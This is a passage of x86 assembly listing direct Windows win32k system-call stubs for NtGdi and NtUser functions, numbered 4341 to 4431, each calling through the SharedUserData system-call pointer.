arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4341 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiPolyPatBlt ENDP ; ULONG __stdcall NtGdiPathToRegion( ULONG arg_01 ); NtGdiPathToRegion PROC STDCALL arg_01:DWORD mov eax , 4342 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiPathToRegion ENDP ; ULONG __stdcall NtGdiPlgBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiPlgBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4343 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiPlgBlt ENDP ; ULONG __stdcall NtGdiPolyDraw( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiPolyDraw PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4344 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiPolyDraw ENDP ; ULONG __stdcall NtGdiPolyPolyDraw( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiPolyPolyDraw PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4345 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiPolyPolyDraw ENDP ; ULONG __stdcall NtGdiPolyTextOutW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiPolyTextOutW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4346 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiPolyTextOutW ENDP ; ULONG __stdcall NtGdiPtInRegion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiPtInRegion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4347 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiPtInRegion ENDP ; ULONG __stdcall NtGdiPtVisible( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiPtVisible PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4348 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiPtVisible ENDP ; ULONG __stdcall NtGdiQueryFonts( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiQueryFonts PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4349 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiQueryFonts ENDP ; ULONG __stdcall NtGdiQueryFontAssocInfo( ULONG arg_01 ); NtGdiQueryFontAssocInfo PROC STDCALL arg_01:DWORD mov eax , 4350 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiQueryFontAssocInfo ENDP ; ULONG __stdcall NtGdiRectangle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiRectangle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4351 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiRectangle ENDP ; ULONG __stdcall NtGdiRectInRegion( ULONG arg_01 , ULONG arg_02 ); NtGdiRectInRegion PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4352 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiRectInRegion ENDP ; ULONG __stdcall NtGdiRectVisible( ULONG arg_01 , ULONG arg_02 ); NtGdiRectVisible PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4353 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiRectVisible ENDP ; ULONG __stdcall NtGdiRemoveFontResourceW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiRemoveFontResourceW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4354 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiRemoveFontResourceW ENDP ; ULONG __stdcall NtGdiRemoveFontMemResourceEx( ULONG arg_01 ); NtGdiRemoveFontMemResourceEx PROC STDCALL arg_01:DWORD mov eax , 4355 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiRemoveFontMemResourceEx ENDP ; ULONG __stdcall NtGdiResetDC( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiResetDC PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4356 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiResetDC ENDP ; ULONG __stdcall NtGdiResizePalette( ULONG arg_01 , ULONG arg_02 ); NtGdiResizePalette PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4357 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiResizePalette ENDP ; ULONG __stdcall NtGdiRestoreDC( ULONG arg_01 , ULONG arg_02 ); NtGdiRestoreDC PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4358 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiRestoreDC ENDP ; ULONG __stdcall NtGdiRoundRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiRoundRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4359 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiRoundRect ENDP ; ULONG __stdcall NtGdiSaveDC( ULONG arg_01 ); NtGdiSaveDC PROC STDCALL arg_01:DWORD mov eax , 4360 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiSaveDC ENDP ; ULONG __stdcall NtGdiScaleViewportExtEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiScaleViewportExtEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4361 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiScaleViewportExtEx ENDP ; ULONG __stdcall NtGdiScaleWindowExtEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiScaleWindowExtEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4362 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiScaleWindowExtEx ENDP ; ULONG __stdcall NtGdiSelectBitmap( ULONG arg_01 , ULONG arg_02 ); NtGdiSelectBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4363 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSelectBitmap ENDP ; ULONG __stdcall NtGdiSelectBrush( ULONG arg_01 , ULONG arg_02 ); NtGdiSelectBrush PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4364 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSelectBrush ENDP ; ULONG __stdcall NtGdiSelectClipPath( ULONG arg_01 , ULONG arg_02 ); NtGdiSelectClipPath PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4365 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSelectClipPath ENDP ; ULONG __stdcall NtGdiSelectFont( ULONG arg_01 , ULONG arg_02 ); NtGdiSelectFont PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4366 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSelectFont ENDP ; ULONG __stdcall NtGdiSelectPen( ULONG arg_01 , ULONG arg_02 ); NtGdiSelectPen PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4367 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSelectPen ENDP ; ULONG __stdcall NtGdiSetBitmapAttributes( ULONG arg_01 , ULONG arg_02 ); NtGdiSetBitmapAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4368 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetBitmapAttributes ENDP ; ULONG __stdcall NtGdiSetBitmapBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetBitmapBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4369 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetBitmapBits ENDP ; ULONG __stdcall NtGdiSetBitmapDimension( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiSetBitmapDimension PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4370 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiSetBitmapDimension ENDP ; ULONG __stdcall NtGdiSetBoundsRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetBoundsRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4371 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetBoundsRect ENDP ; ULONG __stdcall NtGdiSetBrushAttributes( ULONG arg_01 , ULONG arg_02 ); NtGdiSetBrushAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4372 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetBrushAttributes ENDP ; ULONG __stdcall NtGdiSetBrushOrg( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiSetBrushOrg PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4373 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiSetBrushOrg ENDP ; ULONG __stdcall NtGdiSetColorAdjustment( ULONG arg_01 , ULONG arg_02 ); NtGdiSetColorAdjustment PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4374 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetColorAdjustment ENDP ; ULONG __stdcall NtGdiSetColorSpace( ULONG arg_01 , ULONG arg_02 ); NtGdiSetColorSpace PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4375 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetColorSpace ENDP ; ULONG __stdcall NtGdiSetDeviceGammaRamp( ULONG arg_01 , ULONG arg_02 ); NtGdiSetDeviceGammaRamp PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4376 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetDeviceGammaRamp ENDP ; ULONG __stdcall NtGdiSetDIBitsToDeviceInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 ); NtGdiSetDIBitsToDeviceInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD mov eax , 4377 mov edx , 7FFE0300h call dword ptr [edx] ret 64 NtGdiSetDIBitsToDeviceInternal ENDP ; ULONG __stdcall NtGdiSetFontEnumeration( ULONG arg_01 ); NtGdiSetFontEnumeration PROC STDCALL arg_01:DWORD mov eax , 4378 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiSetFontEnumeration ENDP ; ULONG __stdcall NtGdiSetFontXform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetFontXform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4379 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetFontXform ENDP ; ULONG __stdcall NtGdiSetIcmMode( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetIcmMode PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4380 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetIcmMode ENDP ; ULONG __stdcall NtGdiSetLinkedUFIs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetLinkedUFIs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4381 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetLinkedUFIs ENDP ; ULONG __stdcall NtGdiSetMagicColors( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetMagicColors PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4382 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetMagicColors ENDP ; ULONG __stdcall NtGdiSetMetaRgn( ULONG arg_01 ); NtGdiSetMetaRgn PROC STDCALL arg_01:DWORD mov eax , 4383 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiSetMetaRgn ENDP ; ULONG __stdcall NtGdiSetMiterLimit( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetMiterLimit PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4384 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetMiterLimit ENDP ; ULONG __stdcall NtGdiGetDeviceWidth( ULONG arg_01 ); NtGdiGetDeviceWidth PROC STDCALL arg_01:DWORD mov eax , 4385 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetDeviceWidth ENDP ; ULONG __stdcall NtGdiMirrorWindowOrg( ULONG arg_01 ); NtGdiMirrorWindowOrg PROC STDCALL arg_01:DWORD mov eax , 4386 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiMirrorWindowOrg ENDP ; ULONG __stdcall NtGdiSetLayout( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetLayout PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4387 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetLayout ENDP ; ULONG __stdcall NtGdiSetOPMSigningKeyAndSequenceNumbers( ULONG arg_01 , ULONG arg_02 ); NtGdiSetOPMSigningKeyAndSequenceNumbers PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4388 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetOPMSigningKeyAndSequenceNumbers ENDP ; ULONG __stdcall NtGdiSetPixel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiSetPixel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4389 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiSetPixel ENDP ; ULONG __stdcall NtGdiSetPixelFormat( ULONG arg_01 , ULONG arg_02 ); NtGdiSetPixelFormat PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4390 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetPixelFormat ENDP ; ULONG __stdcall NtGdiSetRectRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiSetRectRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4391 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiSetRectRgn ENDP ; ULONG __stdcall NtGdiSetSystemPaletteUse( ULONG arg_01 , ULONG arg_02 ); NtGdiSetSystemPaletteUse PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4392 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiSetSystemPaletteUse ENDP ; ULONG __stdcall NtGdiSetTextJustification( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetTextJustification PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4393 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetTextJustification ENDP ; ULONG __stdcall NtGdiSetVirtualResolution( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiSetVirtualResolution PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4394 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiSetVirtualResolution ENDP ; ULONG __stdcall NtGdiSetSizeDevice( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSetSizeDevice PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4395 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSetSizeDevice ENDP ; ULONG __stdcall NtGdiStartDoc( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiStartDoc PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4396 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiStartDoc ENDP ; ULONG __stdcall NtGdiStartPage( ULONG arg_01 ); NtGdiStartPage PROC STDCALL arg_01:DWORD mov eax , 4397 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiStartPage ENDP ; ULONG __stdcall NtGdiStretchBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 ); NtGdiStretchBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD mov eax , 4398 mov edx , 7FFE0300h call dword ptr [edx] ret 48 NtGdiStretchBlt ENDP ; ULONG __stdcall NtGdiStretchDIBitsInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 ); NtGdiStretchDIBitsInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD mov eax , 4399 mov edx , 7FFE0300h call dword ptr [edx] ret 64 NtGdiStretchDIBitsInternal ENDP ; ULONG __stdcall NtGdiStrokeAndFillPath( ULONG arg_01 ); NtGdiStrokeAndFillPath PROC STDCALL arg_01:DWORD mov eax , 4400 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiStrokeAndFillPath ENDP ; ULONG __stdcall NtGdiStrokePath( ULONG arg_01 ); NtGdiStrokePath PROC STDCALL arg_01:DWORD mov eax , 4401 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiStrokePath ENDP ; ULONG __stdcall NtGdiSwapBuffers( ULONG arg_01 ); NtGdiSwapBuffers PROC STDCALL arg_01:DWORD mov eax , 4402 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiSwapBuffers ENDP ; ULONG __stdcall NtGdiTransformPoints( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiTransformPoints PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4403 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiTransformPoints ENDP ; ULONG __stdcall NtGdiTransparentBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiTransparentBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4404 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiTransparentBlt ENDP ; ULONG __stdcall DxgStubGetDriverInfo( ULONG arg_01 , ULONG arg_02 ); DxgStubGetDriverInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4405 mov edx , 7FFE0300h call dword ptr [edx] ret 8 DxgStubGetDriverInfo ENDP ; ULONG __stdcall NtGdiUMPDEngFreeUserMem( ULONG arg_01 ); NtGdiUMPDEngFreeUserMem PROC STDCALL arg_01:DWORD mov eax , 4406 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiUMPDEngFreeUserMem ENDP ; ULONG __stdcall NtGdiUnrealizeObject( ULONG arg_01 ); NtGdiUnrealizeObject PROC STDCALL arg_01:DWORD mov eax , 4407 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiUnrealizeObject ENDP ; ULONG __stdcall NtGdiUpdateColors( ULONG arg_01 ); NtGdiUpdateColors PROC STDCALL arg_01:DWORD mov eax , 4408 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiUpdateColors ENDP ; ULONG __stdcall NtGdiWidenPath( ULONG arg_01 ); NtGdiWidenPath PROC STDCALL arg_01:DWORD mov eax , 4409 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiWidenPath ENDP ; ULONG __stdcall NtUserActivateKeyboardLayout( ULONG arg_01 , ULONG arg_02 ); NtUserActivateKeyboardLayout PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4410 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserActivateKeyboardLayout ENDP ; ULONG __stdcall NtUserAddClipboardFormatListener( ULONG arg_01 ); NtUserAddClipboardFormatListener PROC STDCALL arg_01:DWORD mov eax , 4411 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserAddClipboardFormatListener ENDP ; ULONG __stdcall NtUserAlterWindowStyle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserAlterWindowStyle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4412 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserAlterWindowStyle ENDP ; ULONG __stdcall NtUserAssociateInputContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserAssociateInputContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4413 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserAssociateInputContext ENDP ; ULONG __stdcall NtUserAttachThreadInput( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserAttachThreadInput PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4414 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserAttachThreadInput ENDP ; ULONG __stdcall NtUserBeginPaint( ULONG arg_01 , ULONG arg_02 ); NtUserBeginPaint PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4415 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserBeginPaint ENDP ; ULONG __stdcall NtUserBitBltSysBmp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtUserBitBltSysBmp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4416 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtUserBitBltSysBmp ENDP ; ULONG __stdcall NtUserBlockInput( ULONG arg_01 ); NtUserBlockInput PROC STDCALL arg_01:DWORD mov eax , 4417 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserBlockInput ENDP ; ULONG __stdcall NtUserBuildHimcList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserBuildHimcList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4418 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserBuildHimcList ENDP ; ULONG __stdcall NtUserBuildHwndList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserBuildHwndList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4419 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserBuildHwndList ENDP ; ULONG __stdcall NtUserBuildNameList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserBuildNameList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4420 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserBuildNameList ENDP ; ULONG __stdcall NtUserBuildPropList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserBuildPropList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4421 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserBuildPropList ENDP ; ULONG __stdcall NtUserCallHwnd( ULONG arg_01 , ULONG arg_02 ); NtUserCallHwnd PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4422 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCallHwnd ENDP ; ULONG __stdcall NtUserCallHwndLock( ULONG arg_01 , ULONG arg_02 ); NtUserCallHwndLock PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4423 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCallHwndLock ENDP ; ULONG __stdcall NtUserCallHwndOpt( ULONG arg_01 , ULONG arg_02 ); NtUserCallHwndOpt PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4424 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCallHwndOpt ENDP ; ULONG __stdcall NtUserCallHwndParam( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCallHwndParam PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4425 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCallHwndParam ENDP ; ULONG __stdcall NtUserCallHwndParamLock( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCallHwndParamLock PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4426 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCallHwndParamLock ENDP ; ULONG __stdcall NtUserCallMsgFilter( ULONG arg_01 , ULONG arg_02 ); NtUserCallMsgFilter PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4427 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCallMsgFilter ENDP ; ULONG __stdcall NtUserCallNextHookEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserCallNextHookEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4428 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserCallNextHookEx ENDP ; ULONG __stdcall NtUserCallNoParam( ULONG arg_01 ); NtUserCallNoParam PROC STDCALL arg_01:DWORD mov eax , 4429 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserCallNoParam ENDP ; ULONG __stdcall NtUserCallOneParam( ULONG arg_01 , ULONG arg_02 ); NtUserCallOneParam PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4430 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserCallOneParam ENDP ; ULONG __stdcall NtUserCallTwoParam( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCallTwoParam PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4431 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCallTwoParam ENDP ; ULONG __stdcall 